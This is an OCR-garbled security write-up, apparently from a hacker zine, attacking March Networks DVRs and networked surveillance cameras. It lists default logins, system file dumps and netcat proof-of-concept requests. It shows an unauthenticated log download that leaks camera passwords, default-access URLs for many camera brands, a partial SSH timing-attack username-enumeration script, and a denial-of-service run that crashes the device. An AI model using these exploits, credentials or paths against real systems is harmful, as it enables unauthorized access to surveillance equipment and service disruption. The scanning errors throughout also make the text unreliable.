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--::+::::::::::::::::::::::::::::::::::::::::::::3:--
Technical details and Attacks

--==+ Digital Video Recorders +==--
[ el sty e

DVRs are basically mini-PCs that allow a user toord TV broadcasts, cable, or DirectTV transmissjatepending
on the model, in digital form on a hard drive l@zhtinside the recorder. This allows for the devimeaccess the
companies' server, which regularly downloads pnoggaides into the device via a modem. Thus, DVRwide the
same recording and time-shifting functions as a YVjOR in a different medium.
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--==+ DVR Operating System Details +==--
--::+::::::::::::::::::::::::+::_-

BusyBox v0.60.3 (2005.09.22-15:56+0000) Built-irekifash)
Enter 'help’ for a list of built-in commands.

Welcome to the March Networks DVR

$ uname -a
Linux DVRKBAAF9108 2.4.30cmp #1 Tue Jul 5 11:128DT 2005 i686 unknown

Unit Software 5.1.0.0059

Unit Model 3204

Hardware Platform 3204

Registration Key: 520-124-040259:invalid
Unit Release 5.1.0.0059

s e==——===—=——— et

--==+ Login and User details +==--
s e==——===—=——— et

u: admin p: admin
u: radmin p: radmin

$ cat /etc/passwd

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:*:2:2:daemon:/sbhin:/sbin/nologin
uucp:x:10:14:uucp:/:/shin/nologin

rpc:x:70:70:system user for portmap:/:/bin/false
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/ébahogin
nobody:*:99:99:Nobody:/:/shin/nologin
sshd:x:100:100:sshd:/sshdjail:/shin/nologin
dvr:x:101:101:DVRaccount:/:/sbin/nologin
admin:x:102:102:Administrator:/admin:/sbin/chrodtas
radmin:x:103:103:Remote Administrator:/admin:/sbimbotash
DVRDialup:x:104:104::/dialup:/usr/sbin/pppd
ntpd:x:105:105:ntpd:/:/sbin/nologin
snmpd:x:106:106:snmpd:/:/shin/nologin

DVR files setuid and setguid
===

$ Is -la /bin/su
-r-sr-xr-x 1 root root 18452 May 2D04 /bin/su



$ Is -la /usr/bin/smbmnt
-r-sr-xr-x 1 root

root 409532 Mar 2006 /usr/bin/smbmnt
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--==+ Built-in commands
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$ help

help: Show Help for commands (type 'help ' + commaad
openupgrades  Enable/disable open upgrades

phelp: Show Help for PDA screen sizes (type 'phelgbmmand name)
rebootdvr: Cause unit to reboot

repairdisk: Repair problem disks

restartdvr : Restart the DVR process

scandisk Scan disks for bad sectors

setaccess Define the radmin commands

setdisk Perform disk maintenance

setip:

setmgr. Modify Management Settings

setnic Set the speed and duplex for the NIC

setpass Change password for admin, radmin and DVRDiaisgrs
setports Modify ports used by DVR

setppp Enable/disable PPP access

setsecure Enable/disable authentication for client applwas
setsnmp Enable/disable SNMP protocols

setssh Enable/disable SSH access

showaccess Display radmin user commands

showdisk List installed disks and their status

showip: Display DHCP, IP, Gateway, Mask and Network am
showmgr. Display Enterprise Service Manager Connectiaiust
shownic Display the speed and duplex for the NIC

showports Display TCP/UDP ports used for DVR communication
showppp Display PPP settings

showsecure Display authentication status for client appgicas
showsnmp Display availability of SNMP protocols

showssh Display availability of SSH connections

showtasks Show task queue

showvers Display software and firmware version informatio
testnet Perform a simple network test

PORT STATE SERVICE
22/tcp  open ssh
80/tcp  open http
111/tcp open rpcbind

[t sl Y

--==+ SSH Version +==--
[ et sttty S

$ ssh -V
OpenSSH_3.7.1p2, SSH protocols 1.5/2.0, OpenSSEM.27 Mar 2004
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--==+ Implementation Scenario of Visual Intelligence +=--
[ s sy Y

The Visual Intelligence is a scalable, enterprisss video surveillance and business optimizataftwsre suite that
improves loss prevention, liability managementetagsotection, and customer and employee safetygusie DVR
device (Digital Video Recorder)

The following illustration and table provide an oview of the R5 Visual Intelligence Suite. Theyalsighlight the
relationship between the R5 components including bhstaller Console, Evidence Manager and Investiga
Administrator Console, ESM, and Evidence Reviewer.
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The figure 2.1 depicts the basic setup of an anafogera system and a network-based or the fig@rel@icts the
basic setup of the IP camera system. In the teaditianalog CCTV application, security cameras wapan analog
video signal and transfer that signal over coaxectbthe Digital Video Recorder (DVR).
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Administrator Console

Recorder Installation fectcime, S Hide Help ‘

- . Recorder Selector - New/ 10.50.10.246 =
[These options allow you to locate the recorders you are interested in. |
b idbd|

Recorder Installation

| /= 7 Entire Organization Organization Path = | Address | Serial Mumber Network Name | Model |
;zg:ri‘:'ityt;‘j‘ga[‘?rgdf;e'ss!:;:”m - hew W e KBARFO108 10.50.10.245  KBAAF9108 DWRKBASFOIDE 3204

below, Click each step for Help,

1) 1. Select Recarder
1) 2. erify Details
&) 3. YeriFy Network
) 4. Verify Storage
1)) 5. YerlFy Cametas
@) 6. Verify Audio
&) 7. Yerify flarms

@) . Verlfy Dataports
169) 2. WerlFy Switches G.J Cameras - Group 1 Camera 1

@ Changs Task Type - Details | & metwok |55 Stoesse ]|._,"L Cameras | B Audio | 8 Alarms | ¥ pataparts i b switches

Update Camera Thumbnail

Live Overview: Live View: Input 1

Cameras

A
Vides thurbnalls are displayed for =
enabled and connected cameras.
Click & camera thumbnall to display
Iive videa for camera satup
(i Input 5 Input & Input-7
Nat Present Not Present Mot Present Not Present
Input 9 Input 10 Input 11 Input 12
Not Present Not Present Not Present Not Present
Tnput 13 Input 14 Input 15 Input 16
Not Present Not Present Mot Present Not Present

The Administrator Console allows easy customizaiod maintenance of any number of systems, inaudaftware
programming, revision control, health monitoringseu profile management and more. This and all RSudi
Intelligence software includes context-sensitivelpHéor rapid user control with minimal training. &ader
Installation, Configuration, and Maintenance

All March Networks recorders have been preconfigut® operate at optimum settings for most enviramneln
addition, as cameras are connected to the recahdsrare automatically enabled and start captwidgo. As part of
your system installation, programming, and mainteeaasks, you can:

« Access each connected device and verify thatdthéce is working properly. For example, you caawivideo,
control a Pan-Tilt-Zoom (PTZ) camera, or test amraldevice.

« Customize the device settings to better meet yoganization’'s needs. For example, you can spétdher video
capture frame rates for cameras monitoring imposeaws.

« Ensure the recorder is functioning properly byiewing its general status. For example, you catklihe recorder’s
clock settings, review hard drive temperatures, asgbss storage targets.



==+ The Investigator Console
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The Investigator allows users to zero in quickly recorded video evidence. Graphical time/date se&urnctions
include a ‘Refinement’ feature for getting rightgpecific evidence. A Professional version addsathiity to search
on userdefined ATM, teller or Point of Sale (PO&jsaction data.

Events

o Level esich | (&)
Start Time State Input
A & Evidencs | & A X @
Evidence Notes No Video (] 1 5+
A 11
@
No current evidence items. 6
To add evidence items. select] * m
Text Display = No Camera Selected ™
A
n
There is no text detected at L
present. - <
i @

Looking Cameras on the Corporate Network

Live Overview: Live ¥iew: Input IP1

Iniput 5 Input & Iniput 7 Input 8
Mot Present Mot Present Mot Present Mot Pressnt .
Waiting
h h for data...
Input 9 Input 10 Input 11 Input 12
Mot Present Mot Present Mot Present Mot Present
Input 13 Input 14 Inpuot 15 Input 16
Mot Present Mot Present Mot Present Mot Present

|§ Camera Type:

Address: [10.133.1.55:6001

Logiri |root Pazsward; |

IP Input 5 IF Input 6 IP Input 7 IF Input &
Mot Present Mot Present Mot Present Mot Present




The camera can be easily accesed with an interaesskr we will use the “Administrator Console” wasning the
network and obtain data of the cameras availabdemust know that many these cameras are by défestéllation
without password e.g:

Canon cameras:
/sample/LvAppl/

MOBOTIX cameras:
/control/userimage.html

JVC cameras:
V.Networks [Motion Picture(Java)
Control the Pan/Tilt and move to the Preset Pasitio

FlexWatch cameras:
/appl/idxas.html
/Saving & Retrieving Mode

Panasonic cameras:
/ViewerFrame?Mode=Motion

TOSHIBA cameras (maybe you need Java):
/TOSHIBA Network Camera

Sony cameras:
/home/home.html

WebcamXP (software):
/my webcamXP server!

Axis
/operator/basic.shtml

Lumenera
fadmin.htm
/cgi-bin/nph-image

Sony SNC-RZ25N/P
/
/oneshotimage.jpg
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--==+ The Watchdog HTTP Server BUGS PoC (1) +==-
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http://10.50.10.246

C:\>nc -vvn 10.50.10.246 80
(UNKNOWN) [10.50.10.246] 80 (?) open
GET/HTTP /1.1

HTTP/1.0 400 Bad Request
Content-Type: text/html

<body><h1>March Networks Watchdog HTTP/1.0 400 Radjuest
</h1></body>
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--==+ The Watchdog HTTP Server BUGS PoC (2) +==-
e e e e e e e e e e e e e e e e e e e e e e e

http://10.50.10.246/Level1Authenticate.htm

C:\>nc -vvn 10.50.10.246 80
(UNKNOWN) [10.50.10.246] 80 (?) open
GET /LevellAuthenticate.ntm HTTP /1.1

<CENTER>
<H1>DVR 4x00 WatchDog (<!--[var=Hostname]-->)</H1>

<FORM METHOD=GET ACTION="Userldentify">
<input type="TEXT" size="10" name="userType" valle=
<input type=submit value="Login">

</FORM>

<BR><BR>

</CENTER>

</BODY>
</[HTML>
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--==+ The Watchdog HTTP Server BUGS PoC (3) +==-
e e e e e e e e e e e e e e e e e e e e e e

http://10.50.10.246/UserAuthenticate.htm

C:\>nc -vvn 10.50.10.246 80
(UNKNOWN) [10.50.10.246] 80 (?) open
GET /LevellAuthenticate.ntm HTTP /1.1

<CENTER>
<H1>DVR 4x00 WatchDog (<!--[var=Hostname]-->)</H1>

<FORM METHOD=GET ACTION="UserAuthenticate">

<input type="TEXT" size="60" name="usercredentialglue="">

<input type=hidden value="<!--[var=authenticatior&llange][format=%u]-->"
name="name">

<input type=submit value="Login">

</[FORM>

<BR><BR>

</CENTER>

</BODY>
</[HTML>
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--==+ The Watchdog HTTP Server BUGS PoC (4) +==--
e e e e e e e e e e e e e e e e e e e e e e

http://10.50.10.246/public/index.htm

C:\>nc -vvn 10.50.10.246 80

(UNKNOWN) [10.50.10.246] 80 (?) open

GET /public/index.htm HTTP /1.1
<H1>DVRKBAAF9108</H1>

Watchdog version: 06,03,27,15

<H2>Processes</H2>

<TABLE border=1 cellpadding=3>
<TR><TH>Name</TH><TH>Version</TH><TH>Errors</TH><TFt$tate</TH></TR>
<TR><TD>xdvr<TD>5.1.0.0059<TD>0<TD>running
</TABLE>

<HR>

<A HREF="UpgradeStatus.htm">Last Upgrade Status</A>

<A HREF="UpgradeHistory.htm">Upgrade History</A>
<A HREF="/scripts/lodfiles.tar.gz">Logfiles</A><BR>

</BODY>
</HTML>
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--==+ The Watchdog HTTP Server BUGS PoC (5) +==--
e e e e e e e e e e e e e e e e e e e e e e

http://10.50.10.246/public/UpgradeHistory.htm

C:\>nc -vvn 10.50.10.246 80
(UNKNOWN) [10.50.10.246] 80 (?) open
GET /public/UpgradeHistory.htm HTTP /1.1

<H1>Upgrade History

</H1><BR><PRE>

Fri Jan 21 19:04:52 UTC 2005
Manufacturing Initialize
Upgrade build date: Thu Aug 26 09:28:07 ED04£0
Successful

Sat Jan 22 12:08:01 UTC 2005
Manufacturing Upgrade
Upgrade build date: Thu Aug 26 09:28:10 ED04£0
Successful

Tue Jan 3 18:24:08 UTC 2006
4.1.R6_to_4.1.1.R12_3204: Upgrade 4.1.0.RGBIIWVR to 4.1.1.R12
Upgrade build date: Wed Mar 2 18:01:49 ES0320
Successful
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--==+ The Watchdog HTTP Server BUGS PoC (6) +==-
e e e e e e e e e e e e e e e e e e e e e e

http://10.50.10.246/scripts/logfiles.tar.gz

C:\>nc -vvn 10.50.10.246 80
(UNKNOWN) [10.50.10.246] 80 (?) open
GET /scripts/lodfiles.tar.gz HTTP /1.1

Open the log file and have fun!
config.dat file

IPCamera=[
protocols=[

Arecont=[
defaultPort=69
dllLocation="/usr/lib/AV2000SDK.so"
protocol="Arecont"
protocolLong="Arecont Network Camera"
type="AVvV2000"

]

Axis=[
configUrl="/operator/basic.shtml"
defaultPort=80
protocol="Axis"
protocolLong="Axis Network Camera"
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Gathering the password data
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There is high risk!!!

Since configuration of the IP address, user congolé root is carried out over the "administratonsme”, the
vulnerability lies within Watchdog's HTTP serverpdipation.

Any user can obtain the log files without authemtitn by accessing the following PATHhttp:/dvr-
address/scripts/logfiles.tar.gz The intruder can then uncompress the tar file aockss the config.dat to reveal
username and passwords, names of devices, anddiBsads of other security components attachedet@diporate
network, the following pictures depicts the remattck:

See the IP address of the online camera with thmimidtrator Consol@0.50.10.247

Note: Remember, the DVR's IP address is 10.50.1024

The intruder can obtain the log file from DVR deittp://10.50.10.246/scripts/lodfiles.tar.gz
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The intruder have the config.dat file:

And finally pwnedthe IP Camera:
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The Live View IP Camera

Camera User Setup



Camera System Overview

Camera TCP/IP Settings
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--==+ Timing attack (brute force attack port (22) PoBC +==--
[ el s s e, Ll S

In cryptography, a timing attack is a side charatdck in which the attacker attempts to comproraiseyptosystem
by analyzing the time taken to execute cryptogralfgorithms. The attack exploits the fact thatrgvaperation in a
computer takes time to execute.

Information can leak from a system through measergmf the time it takes respond to certain queititssy much
such information can help an attacker depends arymariables: crypto system design, the CPU runtiregsystem,
the algorithms used, assorted implementation detéiiining attack countermeasures, the accuracyheftiming
measurements, etc.

Timing attacks are generally overlooked in the giegihase because they are so dependent on therienbgion.
Use the code:
#l/bin/bash

#

# $ld: raptor_sshtime,v 1.1 2007/02/13 16:38:5Taapxp $
#

# raptor_sshtime - [Open]SSH remote timing attaqiat

# Copyright (c) 2006 Marco lvaldi <raptor@O0xdeadtiefo>
#

# OpenSSH-portable 3.6.1p1 and earlier with PAMpsupenabled immediately
# sends an error message when a user does notvehish allows remote

# attackers to determine valid usernames via angjrattack (CVE-2003-0190).

#

# OpenSSH portable 4.1 on SUSE Linux, and possitiigr platforms and versions,
# and possibly under limited configurations, allawsote attackers to

# determine valid usernames via timing discrepanicievhich responses take

# longer for valid usernames than invalid onesjexsonstrated by sshtime.

# NOTE: as of 20061014, it appears that this issaependent on the use of

# manually-set passwords that causes delays wioeegsing /etc/shadow due to
# an increased number of rounds (CVE-2006-5229).

#

# This is a simple shell script based on expectnti@aremotely analyze

# timing differences in sshd "Permission denieglies. Depending on OpenSSH
# version and configuration, it may lead to disakesof valid usernames.

#

# Usage example:

# [make sure the target hostkey has been appraefedeh

# ./sshtime 192.168.0.1 dict.txt

#

# Some vars
port=22

# Command line
host=$1
dict=%$2

# Local functions

function head() {
echo "
echo "raptor_sshtime - [Open]SSH remote timingckttexploit"
echo "Copyright (c) 2006 Marco lvaldi <raptor@0adbeef.info>"
echo "



function foot() {
echo "
exit 0

}

function usage() {
head
echo "[make sure the target hostkey has been agpizefore]
echo "
echo "usage : ./sshtime <target> <wordlist>"
echo "example: ./sshtime 192.168.0.1 dict.txt"
foot

}

function notfound() {
head
echo "error : expect interpreter not found!"
foot

}

# Check if expect is there
expect="which expect 2>/dev/null’
if [$? -ne 0 ]; then

notfound
fi

[/snip]
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--==+ Denial of service attack port (80) +==--
[ el ety g

A denial-of-service attack (DoS attack) is an afieto make a computer resource unavailable toiended users.
Although the motives for a DoS attack may vargdnerally comprises the concerted, malevolent &ffofra person(s)
to prevent an Internet site or service from fungtig temporarily or indefinitely.

Usage: dos.php "host" "/path/" "times"

host: target server (ip or hostname)
path: path of the file, including file antension.
times: number of times to "download" the.file

C:\ >php -f dos.php "10.50.10.246"

" T ]
M ]
I T T ]
W T T ]
W T T ]
T T T T ]
M e 10000crashed!!

C:\>nc -vvn 10.50.10.246 80

(UNKNOWN) [10.50.10.246] 80 (?xonnection refused Successful Denial of Service attack
sent 0, rcvd 0: NOTSOCK
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